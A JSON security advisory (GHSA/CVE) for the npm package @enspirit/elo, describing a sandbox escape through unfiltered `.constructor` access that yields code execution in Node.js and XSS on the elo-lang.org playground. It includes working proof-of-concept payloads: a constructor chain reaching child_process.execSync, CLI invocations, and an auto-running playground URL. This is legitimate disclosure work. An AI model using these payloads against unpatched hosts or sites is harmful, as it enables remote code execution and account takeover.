{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@enspirit/elo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44267"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-693",
      "CWE-79",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-03T17:53:42Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nAn unauthenticated attacker who controls a string passed to any Elo JavaScript-emission path \u2014 `defaultFormats.elo.parse()`, the `bin/elo` CLI, or the live browser playground at `elo-lang.org/try` \u2014 can execute arbitrary code in the host JavaScript runtime. A payload built from the `.constructor.constructor` chain compiles, without modification, to a live `Function` invocation in the emitted JavaScript, escaping any sandbox assumption around \"Elo is a safe data/DSL language.\"\n\n### Vulnerable sink and root cause\n\nThree interacting sites in `src/` produce the bug at commit `749af7b`:\n\n1. **`src/transform.ts:144\u2013158`** \u2014 the `member_access` handler allows access on types `any`, `object`, or `array` without filtering the property name. This is the only place an integrator could have plugged a denylist.\n2. **`src/compilers/javascript.ts:210`** \u2014 the JS emitter writes `${objectExpr}.${ir.property}` verbatim into the output, so any property name that survives the transform step flows unescaped into emitted JavaScript.\n3. **`src/parser.ts:163\u2013170, 748\u2013750`** \u2014 the parser accepts `constructor` (and other JS meta-property names) as an ordinary identifier, so `.constructor` clears type-checking without triggering any warning.\n\nCombined, the Elo expression `({}).constructor.constructor(\u0027\u2026\u0027)()` compiles to a live `Function(\u0027\u2026\u0027)()` call in the emitted JS, executing in the realm of whichever sink runs the compiled code.\n\n### Attack surfaces\n\nAll three surfaces share the same root cause (no denylist in `transform.ts`) and are addressed by the same one-file patch:\n\n| # | Entry point | Threat model |\n|---|---|---|\n| 1 | Browser playground \u2014 `https://elo-lang.org/try/?code=\u2026\u0026run=1` | **0-click XSS / account takeover** against elo-lang.org. `?run=1` triggers `setTimeout(() =\u003e this.run(), 100)` in `playground_controller.ts:531`; the server issues a 301 that preserves `?code=`. Any shared URL that contains a payload compromises the visitor\u0027s session on elo-lang.org. |\n| 2 | `bin/elo` CLI | **RCE on CI / DevOps hosts.** Both `node bin/elo payload.elo` and `node bin/elo -e \"_\" -d @payload.elo -f elo` fire. The `-f elo` path is especially severe: the flag exists to pass user-supplied files as *data* into an Elo pipeline. No integrator expects a data-format flag to shell out to `/usr/bin/id`. |\n| 3 | Library API \u2014 `defaultFormats.elo.parse()` | **Node.js RCE for any downstream integrator** using Elo as a rule engine, configuration DSL, or form builder DSL (the primary documented use cases). |\n\n### Proof of Concept\n\n**Common payload (works on all three entry points):**\n\n```elo\n({}).constructor.constructor(\u0027return this.constructor.constructor(\\\u0027return process\\\u0027)().mainModule.require(\\\u0027child_process\\\u0027).execSync(\\\u0027id\\\u0027).toString()\u0027)()\n```\n\n**Library API** \u2014 `poc-minimal.js`:\n\n```js\n// npm install elo\nconst { defaultFormats } = require(\u0027elo\u0027);\n\nconst payload = \"({}).constructor.constructor(\u0027return this.constructor.constructor(\\\\\u0027return process\\\\\u0027)().mainModule.require(\\\\\u0027child_process\\\\\u0027).execSync(\\\\\u0027id\\\\\u0027).toString()\u0027)()\";\n\nconsole.log(defaultFormats.elo.parse(payload));\n// \u2192 uid=1000(ultrasupara) gid=1000(ultrasupara) groups=\u2026\n```\n\n**CLI** \u2014 `poc-cli.sh`:\n\n```sh\nnode bin/elo payload.elo\n# uid=1000(ultrasupara)\u2026\n\nnode bin/elo -e \"_\" -d @payload.elo -f elo\n# uid=1000(ultrasupara)\u2026\n```\n\n**Browser playground** \u2014 0-click XSS URL:\n\n```\nhttps://elo-lang.org/try/?code=%28%7B%7D%29.constructor.constructor%28%27alert%28document.domain%29%27%29%28%29\u0026run=1\n```\n\nOpening this URL causes `alert(document.domain)` to fire automatically after ~100 ms with no user interaction beyond navigating to the link. The 301 redirect preserves the `?code=` parameter intact. End-to-end execution on the live production site was captured in a screen recording attached to the original report.\n\n### Independence from GHSA #3 (AST-API injection)\n\nThis finding is independent of the Medium-severity AST-API report (GHSA #3). That fix\u0027s identifier regex `^[a-zA-Z_][a-zA-Z0-9_]*$` happens to accept `constructor`, and its threat model requires an attacker-controlled AST *object* rather than a plain string. The current finding requires only a plain Elo string, which is a strictly weaker attacker model.",
  "id": "GHSA-33r5-xmm8-v6x5",
  "modified": "2026-11-03T17:53:42Z",
  "published": "2026-11-03T17:53:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/enspirit/elo/security/advisories/GHSA-33r5-xmm8-v6x5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/enspirit/elo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Elo JavaScript emitter has sandbox escape to arbitrary Node.js / browser code execution via unfiltered `.constructor` member access"
}